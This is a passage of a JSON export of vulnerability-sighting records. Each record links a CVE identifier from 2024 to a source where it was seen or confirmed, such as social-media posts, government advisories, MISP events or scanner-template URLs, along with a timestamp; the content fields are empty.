"2025-03-19T13:00:01.233303Z"}, {"uuid": "c5a37530-e49a-445a-8d56-e70ef9f74de1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55064", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljj4yieabn2i", "content": "", "creation_timestamp": "2025-03-03T23:44:34.209729Z"}, {"uuid": "1c98f36b-9f09-472f-b016-1a901bc6c789", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55551", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lkqfwtjn2m2m", "content": "", "creation_timestamp": "2025-03-19T14:38:33.588752Z"}, {"uuid": "be0bcc16-ab9c-496b-9707-5efbdfc47247", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/securityrss.bsky.social/post/3lkdjqfbhb42n", "content": "", "creation_timestamp": "2025-03-14T11:41:54.028079Z"}, {"uuid": "4dc03daa-1827-44c1-8913-96a07b4f9fe0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2025-0053", "content": "", "creation_timestamp": "2025-02-18T07:09:48.000000Z"}, {"uuid": "e48e8276-64e7-4ebc-86c8-af003aeb41f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55460", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lihra66dsr2k", "content": "", "creation_timestamp": "2025-02-18T17:16:14.133764Z"}, {"uuid": "8af0ab64-c13f-4fba-96d5-a2cf82eece76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55907", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ljgbljoghm2b", "content": "", "creation_timestamp": "2025-03-02T20:28:47.530645Z"}, {"uuid": "f4ace3db-bc4f-4b99-bb47-d1e4af549342", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55460", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114031809779245218", "content": "", "creation_timestamp": "2025-02-19T17:48:59.923237Z"}, {"uuid": "8246c3d0-ce14-4e00-8b4d-ce604362cc93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55279", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3ll56zvshem26", "content": "", "creation_timestamp": "2025-03-24T16:39:35.679496Z"}, {"uuid": "cbbcedc2-4978-4cc6-b3a3-ea8e70f61b78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55898", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3lirprb5m2z2o", "content": "", "creation_timestamp": "2025-02-22T16:16:37.830090Z"}, {"uuid": "c7cfa079-e59f-4d1a-910c-a4db630b3713", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-55591", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.bsky.social/post/3lk6f6cbibc2x", "content": "", "creation_timestamp": "2025-03-12T10:36:52.853631Z"}, {"uuid": "38e6051a-0711-477d-a41a-c1eab6cf1620", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5594", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-072-02", "content": "", "creation_timestamp": "2025-03-13T11:00:00.000000Z"}, {"uuid": "ca0491ec-cb43-4bd5-a842-0d80b93fd000", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5535", "type": "seen", "source": "https://bsky.app/profile/oredumbian.bsky.social/post/3lizvk4zfm223", "content": "", "creation_timestamp": "2025-02-25T22:21:22.723915Z"}, {"uuid": "98feb134-ea48-4d6b-9ee6-8c43f0f026b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55590", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114144582205490125", "content": "", "creation_timestamp": "2025-03-11T15:48:23.775441Z"}, {"uuid": "4a497a67-1459-4287-b0df-a374daf0e326", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:11:03.000000Z"}, {"uuid": "94597257-c311-4fe7-9c0a-3c2c6562078c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:11:04.000000Z"}, {"uuid": "0a32f591-57de-4c4a-ab96-15c744894282", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55556", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/code/cves/2024/CVE-2024-55556.yaml", "content": "", "creation_timestamp": "2025-03-12T04:51:28.000000Z"}, {"uuid": "682b32af-8bda-48e9-99a3-51af990e4d8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55555", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-26T02:35:25.000000Z"}, {"uuid": "106e2656-59a3-419e-8f36-3fc369183d39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:11:03.000000Z"}, {"uuid": "acb363fe-4b50-477d-a7cf-8618fdf0961a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55094", "type": "seen", "source": "https://gist.github.com/lethalcyanide/0c1044ee9261f9ffc67a02f2eb80ba4c", "content": "", "creation_timestamp": "2025-03-18T11:17:01.000000Z"}, {"uuid": "a4328b52-76a1-4198-9dce-8dbeebf653a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55597", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lk4nssewnk26", "content": "", "creation_timestamp": "2025-03-11T18:06:13.390655Z"}, {"uuid": "18110e7a-d87a-483d-9f8c-fa695affd68f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55594", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114162103566286961", "content": "", "creation_timestamp": "2025-03-14T18:04:18.289578Z"}, {"uuid": "68ca6e75-bb90-43c7-9d94-50c590185150", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55549", "type": "seen", "source": "https://infosec.exchange/users/wdormann/statuses/114157281792619030", "content": "", "creation_timestamp": "2025-03-13T21:38:03.880305Z"}, {"uuid": "db4c642e-a2b1-42db-bffe-1452422e3038", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55549", "type": "seen", "source": "https://bsky.app/profile/wdormann.infosec.exchange.ap.brid.gy/post/3lkc2lo4cfmf2", "content": "", "creation_timestamp": "2025-03-13T21:38:24.268800Z"}, {"uuid": "86064dc8-c55a-482f-bf31-4306dc4acfc7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55585", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lr2azeqfaw2k", "content": "", "creation_timestamp": "2025-06-07T21:08:14.350773Z"}, {"uuid": "ea2f0e0c-c696-41a5-a477-fe4319e07a8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55963", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3llzctfbrqb2v", "content": "", "creation_timestamp": "2025-04-04T21:02:08.424318Z"}, {"uuid": "ef1c5279-2c53-4cd4-952c-ccbc6a9294c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55354", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3lt3muwwank24", "content": "", "creation_timestamp": "2025-07-03T21:03:34.202432Z"}, {"uuid": "7be351e0-b86a-4e49-bf0b-eb708d2dfa8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3lrulkmjl6h2b", "content": "", "creation_timestamp": "2025-06-18T08:26:03.710760Z"}, {"uuid": "9aeffe16-b4d1-49d1-ba18-535d8d72676b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55597", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-202/", "content": "", "creation_timestamp": "2025-04-07T03:00:00.000000Z"}, {"uuid": "10b215a5-85c9-41e8-803f-556a1cc2c3af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-55591.yaml", "content": "", "creation_timestamp": "2025-04-07T15:25:48.000000Z"}, {"uuid": "d34bfa60-56d2-4b39-8f19-c77aa5eaa29f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55354", "type": "seen", "source": "https://bsky.app/profile/zackster.bsky.social/post/3lmcyfg77yk2k", "content": "", "creation_timestamp": "2025-04-08T17:21:22.436541Z"}, {"uuid": "899738c3-eb4f-4e92-9dbb-b6c760c86503", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lmdep7ic2k27", "content": "", "creation_timestamp": "2025-04-08T21:02:10.239193Z"}, {"uuid": "e2517ff5-4fde-460a-8a8e-2e770f5fbb0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55354", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lmdtbgvyej2f", "content": "", "creation_timestamp": "2025-04-09T01:22:52.395605Z"}, {"uuid": "7fd01026-f83c-444a-b86e-8052ddba6a85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55354", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lmdw3tpxyf2g", "content": "", "creation_timestamp": "2025-04-09T02:13:25.908823Z"}, {"uuid": "0b0cf5ed-6eeb-42b1-92d3-c07861c3a8ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55354", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114311149479396333", "content": "", "creation_timestamp": "2025-04-10T01:48:38.329604Z"}, {"uuid": "f81e2c54-69b2-4162-8ad6-9e9f0592d3dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55354", "type": "seen", "source": "https://bsky.app/profile/hoyahaxa.bsky.social/post/3lsgjb6emgc25", "content": "", "creation_timestamp": "2025-06-25T11:32:58.072760Z"}, {"uuid": "56e96ca2-b876-4f10-ba42-bb4a26fac80a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5535", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-100-02", "content": "", "creation_timestamp": "2025-04-10T10:00:00.000000Z"}, {"uuid": "73ed3f56-6ec0-49d7-81cc-0e92d356d224", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55210", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114315867807296687", "content": "", "creation_timestamp": "2025-04-10T21:48:34.382050Z"}, {"uuid": "9e0251f9-d096-4598-9b88-80300c72ec54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3lpjouszrkc27", "content": "", "creation_timestamp": "2025-05-19T13:35:50.737020Z"}, {"uuid": "e70a07da-4db3-46a8-86e9-7f3049b90d29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55354", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3lsgkllxt232p", "content": "", "creation_timestamp": "2025-06-25T11:56:38.596173Z"}, {"uuid": "98d4d141-f4bd-4e2a-8ea8-23563a075d55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "https://bsky.app/profile/cecallihelper.bsky.social/post/3lmufq36wtc2u", "content": "", "creation_timestamp": "2025-04-15T15:35:50.488253Z"}, {"uuid": "af4f3567-b296-459a-8241-35d094d72cbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55063", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114535658467359667", "content": "", "creation_timestamp": "2025-05-19T17:24:13.267525Z"}, {"uuid": "b978cb09-9d1b-49ba-8f26-7b237341d1ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55063", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lpka2dnzi72v", "content": "", "creation_timestamp": "2025-05-19T18:43:06.963596Z"}, {"uuid": "4545e80c-7a39-4fe5-9484-3bd4a3e33407", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3lr4y3zergs2a", "content": "", "creation_timestamp": "2025-06-08T23:06:42.018667Z"}, {"uuid": "7c8d8d0a-342d-4fc1-a776-de233eaa5120", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55372", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lmxo3kbixn2b", "content": "", "creation_timestamp": "2025-04-16T22:43:20.473339Z"}, {"uuid": "eca70660-c017-4640-912a-ae24391fbdff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55371", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114353854322463749", "content": "", "creation_timestamp": "2025-04-17T14:49:03.640127Z"}, {"uuid": "c188f71f-e077-4056-9031-bc673494394b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55372", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114353854356296392", "content": "", "creation_timestamp": "2025-04-17T14:49:03.828385Z"}, {"uuid": "5b871a9b-bd7b-42b8-9ab3-d7e16bc1a330", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55211", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lmzrqzatgs2l", "content": "", "creation_timestamp": "2025-04-17T18:54:26.726210Z"}, {"uuid": "17862be9-a1f0-4f23-aa07-83d68bd354cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5560", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-107-02", "content": "", "creation_timestamp": "2025-04-17T10:00:00.000000Z"}, {"uuid": "b8bbbd81-0588-4b05-9290-ee4698a2d230", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55211", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/114355267391648594", "content": "", "creation_timestamp": "2025-04-17T20:48:24.234483Z"}, {"uuid": "ccc25f70-4272-4cb9-aa4e-92e0faf813c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55889", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lmzyvzbvee2u", "content": "", "creation_timestamp": "2025-04-17T21:02:37.104935Z"}, {"uuid": "6b1d34cf-a11b-4e5a-a3a3-4099e0a1a8ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55211", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114356830112055203", "content": "", "creation_timestamp": "2025-04-18T03:25:49.104284Z"}, {"uuid": "44c3fc86-cfb5-4c51-b7af-59eafa7816ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55661", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lrbs3rtyaj2o", "content": "", "creation_timestamp": "2025-06-10T21:02:35.370520Z"}, {"uuid": "0c30132e-8966-4fcd-8366-87ff3b939335", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5535", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/114816361290443115", "content": "", "creation_timestamp": "2025-07-08T07:10:38.776367Z"}, {"uuid": "61d3f6f8-9cd9-44c9-bf4c-2799bc07ab87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5594", "type": "seen", "source": "https://infosec.exchange/users/certvde/statuses/114816361290443115", "content": "", "creation_timestamp": "2025-07-08T07:10:38.999410Z"}, {"uuid": "7419b928-ac8d-4854-8de6-d4275f9b75f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5535", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3ltgqoa3tmza2", "content": "", "creation_timestamp": "2025-07-08T07:10:48.800952Z"}, {"uuid": "3b1ef51a-4154-42de-9fb4-f970a05b36a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55211", "type": "seen", "source": "https://bsky.app/profile/redteamnews.bsky.social/post/3lnd6rrd53b2j", "content": "", "creation_timestamp": "2025-04-21T12:41:22.832410Z"}, {"uuid": "5e65e7a6-94cd-4d11-882e-a6d36675219b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5594", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3ltgqoa3tmza2", "content": "", "creation_timestamp": "2025-07-08T07:10:49.010041Z"}, {"uuid": "c1de91fa-a948-44a2-af67-5390b2cc973a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2024-55571", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114393106631815821", "content": "", "creation_timestamp": "2025-04-24T13:11:24.836473Z"}, {"uuid": "6288b198-6273-4c3c-97b0-03df899ca734", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/114699811162802099", "content": "", "creation_timestamp": "2025-06-17T17:10:25.926336Z"}, {"uuid": "c1f14d36-d0e3-4375-b210-8f75f4fe3d58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55956", "type": "seen", "source": "https://swecyb.com/users/nopatience/statuses/114420886740732088", "content": "", "creation_timestamp": "2025-04-29T10:56:24.500127Z"}, {"uuid": "c8ddd0f1-013a-4037-a545-6abed48fdef8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55457", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lsrkx2crsk2e", "content": "", "creation_timestamp": "2025-06-29T21:02:20.735887Z"}, {"uuid": "3f854b0a-084d-48c8-baff-ef191b5baf79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55910", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lo5q5b4t2y2o", "content": "", "creation_timestamp": "2025-05-02T02:01:17.972403Z"}, {"uuid": "5754801b-5fd8-4c67-9df1-b15685a5560a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55909", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lo5q5be2ja2o", "content": "", "creation_timestamp": "2025-05-02T02:01:19.287343Z"}, {"uuid": "dc363788-7512-4e91-ae14-a6f7ce68c5a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55912", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lo5q5bhkgj2h", "content": "", "creation_timestamp": "2025-05-02T02:01:20.002613Z"}, {"uuid": "eeeecbd9-b50a-488c-b2d3-442f1e686587", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55913", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lo5q5bl6hk24", "content": "", "creation_timestamp": "2025-05-02T02:01:20.646735Z"}, {"uuid": "3167a171-73df-41fb-a0bb-753587eb22e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55910", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/114439343528897250", "content": "", "creation_timestamp": "2025-05-02T17:10:03.742611Z"}, {"uuid": "7ca86230-932f-4489-8910-9a4214e5d8fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55069", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114440568051347388", "content": "", "creation_timestamp": "2025-05-02T22:21:29.137788Z"}, {"uuid": "a8a0b385-2f58-4fe6-844f-7d5781a62e1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55069", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3loaavg5pwp2h", "content": "", "creation_timestamp": "2025-05-03T02:06:26.252894Z"}, {"uuid": "5465f8fa-70c7-4f96-84c9-f1718c937071", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/114796297837776135", "content": "", "creation_timestamp": "2025-07-04T18:08:15.071189Z"}, {"uuid": "5f773dae-a389-46e3-853f-0c041b3d00e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://bsky.app/profile/darkwebinformer.com/post/3lt5tke3al225", "content": "", "creation_timestamp": "2025-07-04T18:08:16.011412Z"}, {"uuid": "9b937143-4874-4a02-b014-733ab6d51da2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55651", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lompe4jfghk2", "content": "", "creation_timestamp": "2025-05-08T00:57:16.131121Z"}, {"uuid": "3347279b-d558-4c5f-a915-a5ddaf8e8708", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55651", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lon3dasgqu2n", "content": "", "creation_timestamp": "2025-05-08T04:31:23.431622Z"}, {"uuid": "8ec50a73-51e8-4a01-9773-3a3b8ef6b251", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55457", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-06-29)", "content": "", "creation_timestamp": "2025-06-29T00:00:00.000000Z"}, {"uuid": "3963f4cc-b21a-44cc-a059-8f7b9d39f202", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 